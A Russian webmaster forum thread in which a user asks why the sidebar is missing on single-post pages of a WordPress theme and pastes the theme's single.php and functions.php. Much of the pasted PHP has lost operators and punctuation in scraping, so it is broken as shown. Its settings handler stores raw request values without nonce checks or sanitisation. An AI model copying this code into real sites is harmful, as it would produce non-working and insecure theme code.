пустой сайдбар в single

(Ответов: 9, Просмотров: 911)
  1. Опытный Аватар для Tomseo
    • Регистрация: 27.11.2013
    • Сообщений: 331
    • Репутация: 22
    • Webmoney BL: ?
    Хотел переустановить тему сделал, но в странице одиночной записи нет сайдбара. Код вывода стоит.
    Подскажите
    Скрытый текст (вы должны войти под своим логином или зарегистрироваться и иметь 1 сообщение(ий)):
    У вас нет прав чтобы видеть скрытый текст, содержащийся здесь.
    • 0
  2. Дипломник Аватар для imFluder
    • Регистрация: 30.12.2010
    • Сообщений: 212
    • Репутация: 28
    Tomseo, покажи как создается сайдбар и код вывода
    Покупать темы только здесь. Готовый сайт за 5 минут.
    • 0
  3. Опытный Аватар для Tomseo
    • Регистрация: 27.11.2013
    • Сообщений: 331
    • Репутация: 22
    • Webmoney BL: ?
    файл single
    PHP код:
    <?php get_header(); ?>
        <div class="outer" id="contentwrap">    
                <div class="postcont">
                    <div id="content">    
                        <?php if (have_posts()) : ?>    
                            <?php while (have_posts()) : the_post(); ?>
    <div class="postdate-single"><?php if ( function_exists('yoast_breadcrumb') ) {
    yoast_breadcrumb('<p id="breadcrumbs">','</p>');
    ?></div>


                            <div <?php post_class() ?> id="post-<?php the_ID(); ?>">
                                <h1 class="title"><?php the_title(); ?></h1>
                                
                <div class="postdate-single-2"><img src="<?php bloginfo('template_url'); ?>/images/folder.png" /> Опубликовано в рубрике <?php the_category(', '?> <?php if(get_the_tags()) { ?> <img src="<?php bloginfo('template_url'); ?>/images/tag.png" /> <?php  the_tags('Теги: '', '); } ?></div>
                                <div class="entry">
    <?php if ( function_exists("has_post_thumbnail") && has_post_thumbnail() ) { the_post_thumbnail(array(300,225), array("class" => "alignleft post_thumbnail")); } ?>
                                    <?php the_content('Читать далее &raquo;'); ?>
                                    <?php wp_link_pages(array('before' => '<p><strong>Страницы:</strong> ''after' => '</p>''next_or_number' => 'number')); ?>
                                </div>
                                <center><table>
          <tbody>
           <tr> <!--Начало строки-->
             <td><!--Начало столбца-->
     
               <a href="https://twitter.com/share" class="twitter-share-button" data-lang="ru">Твитнуть</a>
    <script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');</script>
     
             </td> <!--Конец столбца-->
             <td>
               <div id="vk_like"></div>
    <script type="text/javascript">
    VK.Widgets.Like("vk_like", {type: "button"});
    </script>
             </td>
             
         </tr> <!--Конец строки-->
      </tbody>
    </table></center>
                            
                                <div class="navigation clearfix">
                                    <div class="alignleft"><?php previous_post_link('&laquo; %link'?></div>
                                    <div class="alignright"><?php next_post_link('%link &raquo;'?></div>
                                </div>
                                <?php wp_related_posts()?>
                                <div id="vk_comments"></div>
    <script type="text/javascript">
    VK.Widgets.Comments("vk_comments", {limit: 10, width: "620", attach: "*"});
    </script>
                            </div><!--/post-<?php the_ID(); ?>-->
                            
                    <?php comments_template(); ?>
                    
                    <?php endwhile; ?>
                
                    <?php endif; ?>
                </div>
                </div>
            <?php get_sidebars(); ?>
        </div
        
    <?php get_footer(); ?>
    • 0
  4. Гугуру Аватар для Inforation
    • Регистрация: 10.03.2013
    • Сообщений: 887
    • Репутация: 166
    • Webmoney BL: ?
    Цитата Сообщение от Tomseo Посмотреть сообщение
    Хотел переустановить тему сделал
    Вы переустановили тему, или версию вордпресс ?
    • 0
  5. Опытный Аватар для DOleg
    • Регистрация: 21.08.2010
    • Сообщений: 276
    • Репутация: 78
    • Webmoney BL: ?
    Цитата Сообщение от Tomseo Посмотреть сообщение
    get_sidebars()
    Исправьте и должно быть Ок.
    • 0
  6. Дипломник Аватар для imFluder
    • Регистрация: 30.12.2010
    • Сообщений: 212
    • Репутация: 28
    Tomseo, попробуй указать, какой именно сайдбар инклудить
    PHP код:
    dynamic_sidebar'primary' ); 
    Ищи название в functions.php
    PHP код:
    register_sidebar(
        
    'id' => 'primary',

    Покупать темы только здесь. Готовый сайт за 5 минут.
    • 0
  7. Опытный Аватар для Tomseo
    • Регистрация: 27.11.2013
    • Сообщений: 331
    • Репутация: 22
    • Webmoney BL: ?
    DOleg, в смысле убрать s? Увы, не помогает

    ---------- Сообщение добавлено 23:05 ---------- Предыдущее 23:04 ----------

    imFluder, не совсем понял как это сделать, таких кодов, как вы написали, не нашел вообще
    Вот функции:
    PHP код:
    <?php
    if ( function_exists('register_sidebar') ) {
        
    register_sidebars(array(
            
    'name' => 'Sidebar',
            
    'before_widget' => '<li id="%1$s" class="widget %2$s">',
            
    'after_widget' => '</li>',
            
    'before_title' => '<h2 class="widgettitle">',
            
    'after_title' => '</h2>',
        ));
    }
    if ( 
    function_exists('register_sidebar') ) {
        
    register_sidebar(array(
            
    'name' => 'Footer Left',
          
    'before_widget' => '<li>',
            
    'after_widget' => '</li>',
            
    'before_title' => '<h2 class="widgettitle">',
            
    'after_title' => '</h2>',
        ));

        if ( 
    function_exists('register_sidebar') )
        
    register_sidebar(array(
            
    'name' => 'Footer Center',
          
    'before_widget' => '<li>',
            
    'after_widget' => '</li>',
            
    'before_title' => '<h2 class="widgettitle">',
            
    'after_title' => '</h2>',
        ));

        if ( 
    function_exists('register_sidebar') )
        
    register_sidebar(array(
            
    'name' => 'Footer Right',
           
    'before_widget' => '<li>',
            
    'after_widget' => '</li>',
            
    'before_title' => '<h2 class="widgettitle">',
            
    'after_title' => '</h2>',
        ));

        }

    $themename "CounterStrike";
    $shortname str_replace(' ''_'strtolower($themename));

    function 
    get_theme_option($option)
    {
        global 
    $shortname;
        return 
    stripslashes(get_option($shortname '_' $option));
    }

    function 
    get_theme_settings($option)
    {
        return 
    stripslashes(get_option($option));
    }

    function 
    cats_to_select()
    {
        
    $categories get_categories('hide_empty=0'); 
        
    $categories_array[] = array('value'=>'0''title'=>'Select');
        foreach (
    $categories as $cat) {
            if(
    $cat->category_count == '0') {
                
    $posts_title 'No posts!';
            } elseif(
    $cat->category_count == '1') {
                
    $posts_title '1 post';
            } else {
                
    $posts_title $cat->category_count ' posts';
            }
            
    $categories_array[] = array('value'=> $cat->cat_ID'title'=> $cat->cat_name ' ( ' $posts_title ' )');
          }
        return 
    $categories_array;
    }

    $options = array (
                
        array(    
    "type" => "open"),
        
        array(    
    "name" => "Изображение логотипа",
            
    "desc" => "Введите полный путь к изображению логотипа. Оставьте пустым это поле, если Вы не хотите использовать изображение логотипа. <br/>Нажмите, чтобы загрузить логотип > Перетащите или выберите файл > Вставьте в запись > Сохраните",
            
    "id" => $shortname."_logo",
            
    "std" =>  get_bloginfo('template_url') . "/images/logo.png",
            
    "type" =>"image_upload" ), 
            

    array(    
    "name" => "Настройки меню",
         
    "desc" => "Пожалуйста, используйте <a href=\"nav-menus.php\">панель меню</a>, для управления и организации элементов. Главное меню отображает список страниц, а если меню отсутствует, то выбирается из панели меню.",
         
    "type" => "none"),
    array(    
    "name" => "Ссылка читать далее",
                 
    "desc" => "Если Вы предпочитаете показывать ссылку Читать далее на главной странице, тогда убедитесь, что при написании постов нажимаете Insert More Tag, проверить можно <a href=\"http://themepix.com/pix/img/insert-more-tag.jpg\" target=\"_blank\">здесь</a>.",
                 
    "type" => "none"),

    array(    
    "name" => "Рубрика популярных записей?",
                
    "desc" => "Снимите флажок, если не хотите отображать популярные записи в сайдбаре.",
                
    "id" => $shortname."_popular_posts",
                
    "std" => "true",
                
    "type" => "checkbox"),
        
             array(    
    "name" => "Популярное видео",
            
    "desc" => "Введите id видео с Youtube. Например: http://www.youtube.com/watch?v=<b>V7P6E69aihY</b>. ",
            
    "id" => $shortname."_video",
            
    "std" =>  'V7P6E69aihY',
            
    "type" => "text"),    
                
        array(    
    "name" => "Скрипты заголовка",
            
    "desc" => "Данный код будет добавлен сразу перед тэгами &lt;/head&gt;. Полезно, если вы хотите добавить внешний код, например, Google webmaster и др.",
            
    "id" => $shortname."_head",
            
    "type" => "textarea"    
            
    ),
            
        array(    
    "name" => "Скрипты подвала",
            
    "desc" => "Данный код будет сразу же добавлен перед тэгами &lt;/body&gt;. Полезно, если вы хотите добавить внешний код, например, Google Analytics и др.",
            
    "id" => $shortname."_footer",
            
    "type" => "textarea"    
            
    ),        
    array(    
    "type" => "close")



    );

    $options2 = array (

    array(    
    "type" => "open"),
    array(    
    "name" => "Как настроить слайдшоу?",
         
    "desc" => "Это очень просто, вам не надо менять изображения, это работает автоматически, просто следуйте инструкции: <br/>Создать новую запись > <a href=\"http://themepix.com/pix/img/set-feature-image.jpg\" target=\"_blank\">Задать популярное изображение</a> > Выберите (или добавьте) рубрику > Опубликовать > Вернуться обратно (в настройки) > Выберите рубрику слайдшоу.",
         
    "type" => "none"),
    array(    
    "name" => "Включить слайдшоу?",
                
    "desc" => "Снимите флажок, если не хотите отображать слайдшоу на главной странице.",
                
    "id" => $shortname."_featured_posts",
                
    "std" => "true",
                
    "type" => "checkbox"),
            array(    
    "name" => "Рубрика слайдшоу"
     
    "desc" => "Последние записи из выбранной рубрики будут перечислены как популярные на главной странице. <br />Выбранная рубрика должна содержать популярные изображения, поэтому при создании новых записей вы должны <b>задать популярное изображение</b>.",
                
    "id" => $shortname."_featured_posts_category",
                
    "options" => cats_to_select(),
                
    "std" => "0",
                
    "type" => "select"),
                array(    
    "type" => "close")
                
                
                
                );
                
                
    $options3 = array (

    array(    
    "type" => "open"),
        array(    
    "name" => "Включить виджет Twitter?",
                
    "desc" => "Поставьте флажок, чтобы отображать виджет Twitter в сайдбаре. Чтобы настроить его, пройдите в виджеты и введите ссылку на ваш профиль. Снимите флажок, если не хотите использовать виджет Twitter в сайдбаре.",
                
    "id" => $shortname."_twitter_widget",
                
    "std" => "true",
                
    "type" => "checkbox"),
                
        array(    
    "name" => "Включить виджет Facebook?",
                
    "desc" => "Поставьте флажок, чтобы отображать виджет Facebook в сайдбаре. Чтобы настроить его, пройдите в виджеты и введите ссылку на ваш профиль. Снимите флажок, если не хотите использовать виджет Facebook в сайдбаре.",
                
    "id" => $shortname."_facebook_widget",
                
    "std" => "true",
                
    "type" => "checkbox"),
        
    array(    
    "name" => "Социальные иконки",
                
    "desc" => "Показывать социальные иконки над сайдбаром? Снимите флажок, если не хотите использовать. Также, вы можете ввести ссылки на ваш профиль.",
                
    "id" => $shortname."_socialnetworks",
                
    "std" => "true",
                
    "type" => "checkbox"),

    array(    
    "name" => "RSS",
                
    "desc" => "Добавьте ссылку Feedburner, или любую другую ссылку на RSS канал. Оставьте пустым, если не хотите отображать иконку RSS.",
                
    "id" => $shortname."_rss",
                
    "std" => "http://feeds.feedburner.com/themepixcom",
                
    "type" => "text"),

    array(    
    "name" => "Facebook",
                
    "desc" => "Добавьте ссылку на профиль в Facebook, для отображения иконки в вашем профайле. Оставьте пустым это поле, если не хотите отображать иконку Facebook.",
                
    "id" => $shortname."_facebook",
                
    "std" => "http://facebook.com/ThemePix",
                
    "type" => "text"),

    array(    
    "name" => "Twitter",
                
    "desc" => "Добавьте ссылку на профиль в Twitter, для отображения Twitter-а в вашем профиле. Оставьте это поле пустым, если вы не хотите использовать иконку Twitter.",
                
    "id" => $shortname."_twitter",
                
    "std" => "http://twitter.com/ThemePix",
                
    "type" => "text"),
                
    array(    
    "name" => "GooglePlus",
                
    "desc" => "Добавьте профиль Google Plus. Оставьте это поле пустым, если вы не хотите использовать иконку Google Plus.",
                
    "id" => $shortname."_googleplus",
                
    "std" => "https://plus.google.com/105902409914354750342/",
                
    "type" => "text"),

    array(    
    "name" => "LinkedIn",
                
    "desc" => "Добавьте ссылку на профиль LinkedIn. Оставьте это поле пустым, если вы не хотите использовать иконку LinkedIn.",
                
    "id" => $shortname."_linkedin",
                
    "std" => "http://linkedin.com/yourprofile",
                
    "type" => "text"),

    array(    
    "name" => "YouTube",
                
    "desc" => "Добавьте ссылку на профиль в YouTube. Оставьте это поле пустым, если вы не хотите использовать иконку YouTube.",
                
    "id" => $shortname."_youtube",
                
    "std" => "http://youtube.com/yourprofile",
                
    "type" => "text"),

    array(    
    "name" => "eMail",
                
    "desc" => "Добавьте ваш eMail. Оставьте это поле пустым, если вы не хотите использовать иконку eMail.",
                
    "id" => $shortname."_email",
                
    "std" => "mailto:contact@themepix.com",
                
    "type" => "text"),

    array(    
    "name" => "Другие социальные иконки?",
         
    "desc" => "Вы можете заменить текущие социальные иконки другими. Например, если у вас нет канал на YouTube, и он вам не нужен, но вы хотите заменить его на другие социальные иконки, например Pinterest. Просто вставьте ссылку на профиль в Pinterest в форму для YouTube, после чего зайдите в папку с темой и откройте images/social-icons/ и замените иконку YouTube иконкой Pinterest, а также убедитесь что иконка Pinterest называется youtube.png",
         
    "type" => "none"),

        array(    
    "type" => "close")



    );

    $options4 = array (
    array(    
    "type" => "open"),
           
                    array(    
    "name" => "Место для размещения верхнего сайдбара (125x125 px)",
            
    "desc" => "Код для размещения верхнего сайдбара. Вы можете использовать любой html код, включая код Adsense. Также вы можете отредактировать ссылки и изображение, если вы хотите отображать рекламу 125x125. Оставьте пустым, если не хотите отображать рекламу.",
            
    "id" => $shortname."_ad_sidebar_top",
            
    "type" => "textarea",
            
    "std" => '<a href="http://themepix.com"><img class="sidebaradbox" src="http://themepix.com/pix/uploads/ad-125.png" style="border: 0;" alt="Advertise Here" /></a> 
    <a href="http://themepix.com"><img class="sidebaradbox" src="http://themepix.com/pix/uploads/ad2-125.png" style="border: 0;" alt="Advertise Here" /></a>'
            
    ),

        array(    
    "name" => "Место размещения левого сайдбара",
            
    "desc" => "Вы можете использовать любой html код, включая код Adsense. Оставьте пустым, если не хотите отображать рекламу.",
            
    "id" => $shortname."_ad_sidebar1_bottom",
            
    "type" => "textarea",
            
    "std" => '<a href="http://themepix.com"><img src="http://themepix.com/pix/uploads/ad-160x600.png" style="border: 0;" alt="Advertise Here" /></a>'
            
    ),    
    array(    
    "name" => "Место размещения правого сайдбара",
            
    "desc" => "Вы можете использовать любой html код, включая код Adsense. Оставьте пустым, если не хотите отображать рекламу.",
            
    "id" => $shortname."_ad_sidebar2_bottom",
            
    "type" => "textarea",
            
    "std" => '<a href="http://themepix.com"><img src="http://themepix.com/pix/uploads/ad-250.png" style="border: 0;" alt="Advertise Here" /></a>'
            
    ),    

    array(    
    "name" => "Другие виды рекламы",
         
    "desc" => "Вы также можете размещать другие виды рекламы в сайдбаре. Пожалуйста используйте для этого <a href=\"widgets.php\">виджеты</a> и перетащите текстовый виджет, чтобы вставить рекламу или Adsense.",
         
    "type" => "none"),


        
        array(    
    "type" => "close")



    );


    function 
    mytheme_add_admin() {
        global 
    $themename$shortname$options$options2,$options3,$options4;
        
        if ( 
    $_GET['page'] == basename(__FILE__) ) {
        
            if ( 
    'save' == $_REQUEST['action'] ) {

                    foreach (
    $options as $value) {
                        
    update_option$value['id'], $_REQUEST$value['id'] ] ); }

                    foreach (
    $options as $value) {
                        if( isset( 
    $_REQUEST$value['id'] ] ) ) { update_option$value['id'], $_REQUEST$value['id'] ]  ); } else { delete_option$value['id'] ); } }
                
                    foreach (
    $options2 as $value) {
                        
    update_option$value['id'], $_REQUEST$value['id'] ] ); }

                    foreach (
    $options2 as $value) {
                        if( isset( 
    $_REQUEST$value['id'] ] ) ) { update_option$value['id'], $_REQUEST$value['id'] ]  ); } else { delete_option$value['id'] ); } }
                    
                    foreach (
    $options3 as $value) {
                        
    update_option$value['id'], $_REQUEST$value['id'] ] ); }

                    foreach (
    $options3 as $value) {
                        if( isset( 
    $_REQUEST$value['id'] ] ) ) { update_option$value['id'], $_REQUEST$value['id'] ]  ); } else { delete_option$value['id'] ); } }

                    foreach (
    $options4 as $value) {
                        
    update_option$value['id'], $_REQUEST$value['id'] ] ); }

                    foreach (
    $options4 as $value) {
                        if( isset( 
    $_REQUEST$value['id'] ] ) ) { update_option$value['id'], $_REQUEST$value['id'] ]  ); } else { delete_option$value['id'] ); } }
                        
                    echo 
    '<meta http-equiv="refresh" content="0;url=themes.php?page=functions.php&saved=true">';
                    die;

            } 
        }

        
    add_theme_page($themename " - настройки темы""".$themename " - настройки темы"'edit_themes'basename(__FILE__), 'mytheme_admin');
    }

    function 
    mytheme_admin_init() {

        global 
    $themename$shortname$options,$options2,$options3,$options4;
        
        
    $get_theme_options get_option($shortname '_options');
        if(
    $get_theme_options != 'yes') {
            
    $new_options $options;
            foreach (
    $new_options as $new_value) {
                 
    update_option$new_value['id'],  $new_value['std'] ); 
            }
            
    $new_options $options2;
            foreach (
    $new_options as $new_value) {
                 
    update_option$new_value['id'],  $new_value['std'] ); 
            }
            
    $new_options $options3;
            foreach (
    $new_options as $new_value) {
                 
    update_option$new_value['id'],  $new_value['std'] ); 
            }
            
    $new_options $options4;
            foreach (
    $new_options as $new_value) {
                 
    update_option$new_value['id'],  $new_value['std'] ); 
            }
            
    update_option($shortname '_options''yes');
        }
    }

    if(!
    function_exists('get_sidebars')) {
        function 
    get_sidebars()
        {
             
    get_sidebar();
        }
    }
        

    function 
    mytheme_admin() {

        global 
    $themename$shortname$options,$options2,$options3,$options4;

        if ( 
    $_REQUEST['saved'] ) echo '<div id="message" class="updated"><p><strong>Настройки темы '.$themename.' сохранены.</strong></p></div>';
        
    ?>
    <div class="wrap">
    <h2>Настройки темы <?php echo $themename?></h2>
    <div style="border-bottom: 1px dotted #000; padding-bottom: 10px; margin: 10px;">Оставьте это поле пустым, если не хотите его отображать.</div>
    <form method="post">
    <div class="xfade">
    <script type="text/javascript" src="<?php bloginfo('template_directory'); ?>/js/jquery.idTabs.min.js"></script>
    <style>
    .idTabs li {
        border-right: 1px solid #DDDDDD;
        float: left;
        margin: 0;
    }
    .idTabs li a {
        background: none repeat scroll 0 0 #FFFFFF;
        color: #000000;
        float: left;
        margin-top: 0;
        padding: 8px 30px;
        text-decoration: none;
    }
    .idTabs li a.selected {
        background: #EEEEEE;
        color: #000000;
        text-decoration: none;
    }
    #item2, #item3, #item1,#item4 {
        background-image: -moz-linear-gradient(center top , #FFFFFF, #F5F5F5);
        border: 1px solid #DDDDDD;
        margin: 0;
        padding: 0;
    }
    .clear {
        clear: both;
    }
    .idTabs {
        border-left: 1px solid #DDDDDD;
        border-top: 1px solid #DDDDDD;
        float: left;
        margin: 0 !important;
        padding: 0 !important;
    }


    </style>
      <ul class="idTabs"> 
      <li><a href="#item1">Основные настройки</a></li>
      <li><a href="#item2">Популярные записи</a></li>  
      <li><a href="#item3">Социальные настройки</a></li> 
      <li><a href="#item4">Размещение рекламы</a></li> 
    </ul>
    <div class="clear"></div>
    <div class="items">
    <?php 
       
    foreach ($options as $value) { 
        
        switch ( 
    $value['type'] ) {
        
            case 
    "open":
            
            
    ?>
            <table width="100%" border="0" style=" padding:10px;" id="item1">
            
            <?php break;
            
            case 
    "close":
            
    ?>
            
            </table>
            
            
            <?php break;
            
            case 
    "title":
            
    ?>
            <table width="100%" border="0" style="padding:5px 10px;"><tr>
                <td colspan="2"><h3 style="font-family:Georgia,'Times New Roman',Times,serif;"><?php echo $value['name']; ?></h3></td>
            </tr>
                    
            
            <?php break;
            case 
    'text':
            
    ?>
            
            <tr>
                <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
                <td width="80%"><input style="width:100%;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php echo get_theme_settings$value['id'] ); ?>" /></td>
            </tr>

            <tr>
                <td><?php echo $value['desc']; ?></small></td>
            </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #DDDDDD;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

            <?php 
            
    break;
            
            case 
    'textarea':
            
    ?>
            
            <tr>
                <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
                <td width="80%"><textarea name="<?php echo $value['id']; ?>" style="width:100%; height:140px;" type="<?php echo $value['type']; ?>" cols="" rows=""><?php echo get_theme_settings$value['id'] ); ?></textarea></td>
                
            </tr>

            <tr>
                <td><?php echo $value['desc']; ?></small></td>
            </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #DDDDDD;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

            <?php 
            
    break;
            
            case 
    'select':
            
    ?>
            <tr>
                <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
                <td width="80%">
                    <select style="width:240px;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>">
                        <?php 
                            
    foreach ($value['options'] as $option) { ?>
                            <option value="<?php echo $option['value']; ?><?php if ( get_theme_settings$value['id'] ) == $option['value']) { echo ' selected="selected"'; } ?>><?php echo $option['title']; ?></option>
                            <?php ?>
                    </select>
                </td>
           </tr>
                    
     <tr>
                <td><?php echo $value['desc']; ?></small></td>
           </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #DDDDDD;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

    <?php 
            
    break;
            case 
    'image_upload':
            
    ?>
            
            <tr>
                <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
                <td width="80%">
                <input id="upload_image" type="text" size="80" name="<?php echo $value['id']; ?>" value="<?php echo get_theme_settings$value['id'] ); ?>" />
                <input id="upload_image_button" type="button" value="Upload Logo" /><br/> 
                <img style="margin:15px 0" src="<?php echo get_theme_settings$value['id'] ); ?>" alt="Current Logo"/></td> 
            </tr>

           <tr>
                <td><?php echo $value['desc']; ?></small></td>
           </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #DDDDDD;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

            <?php
            
    break;
                
            case 
    "checkbox":
            
    ?>
                <tr>
                <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
                    <td width="80%"><?php if(get_theme_settings($value['id'])){ $checked "checked=\"checked\""; }else{ $checked ""; } ?>
                            <input type="checkbox" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" value="true" <?php echo $checked?> />
                            </td>
                </tr>
                            
                <tr>
                    <td><?php echo $value['desc']; ?></small></td>
               </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #DDDDDD;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>
                

     <?php         break;
                     case 
    "none":
            
    ?>
                <tr>
                <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
                    <td width="80%"></td>
                </tr>
                            
                <tr>
                    <td><?php echo $value['desc']; ?></td>
               </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #DDDDDD;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

            <?php         break;
        
     

    }
       
    ?>
    <!-- options 2 -->
    <?php
    if (is_array($options2))

       foreach (
    $options2 as $value) { 
        
        switch ( 
    $value['type'] ) {
        
            case 
    "open":
            
            
    ?>
            <table width="100%" border="0" style=" padding:10px;" id="item2">
            
            <?php break;
            
            case 
    "close":
            
    ?>
            
            </table>
            
            
            <?php break;
            
            case 
    "title":
            
    ?>
            <table width="100%" border="0" style="padding:5px 10px;"><tr>
                <td colspan="2"><h3 style="font-family:Georgia,'Times New Roman',Times,serif;"><?php echo $value['name']; ?></h3></td>
            </tr>
                    
            
            <?php break;
            case 
    'text':
            
    ?>
            
            <tr>
                <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
                <td width="80%"><input style="width:100%;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php echo get_theme_settings$value['id'] ); ?>" /></td>
            </tr>

            <tr>
                <td><?php echo $value['desc']; ?></small></td>
            </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #DDDDDD;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

            <?php 
            
    break;
            
            case 
    'textarea':
            
    ?>
            
            <tr>
                <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
                <td width="80%"><textarea name="<?php echo $value['id']; ?>" style="width:100%; height:140px;" type="<?php echo $value['type']; ?>" cols="" rows=""><?php echo get_theme_settings$value['id'] ); ?></textarea></td>
                
            </tr>

            <tr>
                <td><?php echo $value['desc']; ?></small></td>
            </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #DDDDDD;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

            <?php 
            
    break;
            
            case 
    'select':
            
    ?>
            <tr>
                <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
                <td width="80%">
                    <select style="width:240px;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>">
                        <?php 
                            
    foreach ($value['options'] as $option) { ?>
                            <option value="<?php echo $option['value']; ?><?php if ( get_theme_settings$value['id'] ) == $option['value']) { echo ' selected="selected"'; } ?>><?php echo $option['title']; ?></option>
                            <?php ?>
                    </select>
                </td>
           </tr>
                    
           <tr>
                <td><?php echo $value['desc']; ?></small></td>
           </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #DDDDDD;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

            <?php
            
    break;
                
            case 
    "checkbox":
            
    ?>
                <tr>
                <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
                    <td width="80%"><?php if(get_theme_settings($value['id'])){ $checked "checked=\"checked\""; }else{ $checked ""; } ?>
                            <input type="checkbox" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" value="true" <?php echo $checked?> />
                            </td>
                </tr>
                            
                <tr>
                    <td><?php echo $value['desc']; ?></small></td>
               </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #DDDDDD;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>
                
    <?php         break;
                     case 
    "none":
            
    ?>
                <tr>
                <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
                    <td width="80%"></td>
                </tr>
                            
                <tr>
                    <td><?php echo $value['desc']; ?></td>
               </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #DDDDDD;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

            <?php         break;
        
     

    }}
       
    ?>

    <!-- options 3 -->
    <?php 
      
    if (is_array($options3))

       foreach (
    $options3 as $value) { 
        
        switch ( 
    $value['type'] ) {
        
            case 
    "open":
            
            
    ?>
            <table width="100%" border="0" style="padding:10px;" id="item3">
            
            <?php break;
            
            case 
    "close":
            
    ?>
            
            </table>
            
            
            <?php break;
            
            case 
    "title":
            
    ?>
            <table width="100%" border="0" style="padding:5px 10px;"><tr>
                <td colspan="2"><h3 style="font-family:Georgia,'Times New Roman',Times,serif;"><?php echo $value['name']; ?></h3></td>
            </tr>
                    
            
            <?php break;
            case 
    'text':
            
    ?>
            
            <tr>
                <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
                <td width="80%"><input style="width:100%;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php echo get_theme_settings$value['id'] ); ?>" /></td>
            </tr>

            <tr>
                <td><?php echo $value['desc']; ?></small></td>
            </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #DDDDDD;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

            <?php 
            
    break;
            
            case 
    'textarea':
            
    ?>
            
            <tr>
                <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
                <td width="80%"><textarea name="<?php echo $value['id']; ?>" style="width:100%; height:140px;" type="<?php echo $value['type']; ?>" cols="" rows=""><?php echo get_theme_settings$value['id'] ); ?></textarea></td>
                
            </tr>

            <tr>
                <td><?php echo $value['desc']; ?></small></td>
            </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #DDDDDD;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

            <?php 
            
    break;
            
            case 
    'select':
            
    ?>
            <tr>
                <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
                <td width="80%">
                    <select style="width:240px;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>">
                        <?php 
                            
    foreach ($value['options'] as $option) { ?>
                            <option value="<?php echo $option['value']; ?><?php if ( get_theme_settings$value['id'] ) == $option['value']) { echo ' selected="selected"'; } ?>><?php echo $option['title']; ?></option>
                            <?php ?>
                    </select>
                </td>
           </tr>
                    
           <tr>
                <td><?php echo $value['desc']; ?></small></td>
           </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #DDDDDD;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

            <?php
            
    break;
                
            case 
    "checkbox":
            
    ?>
                <tr>
                <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
                    <td width="80%"><?php if(get_theme_settings($value['id'])){ $checked "checked=\"checked\""; }else{ $checked ""; } ?>
                            <input type="checkbox" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" value="true" <?php echo $checked?> />
                            </td>
                </tr>
                            
                <tr>
                    <td><?php echo $value['desc']; ?></small></td>
               </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #DDDDDD;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>
                
    <?php         break;
                     case 
    "none":
            
    ?>
                <tr>
                <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
                    <td width="80%"></td>
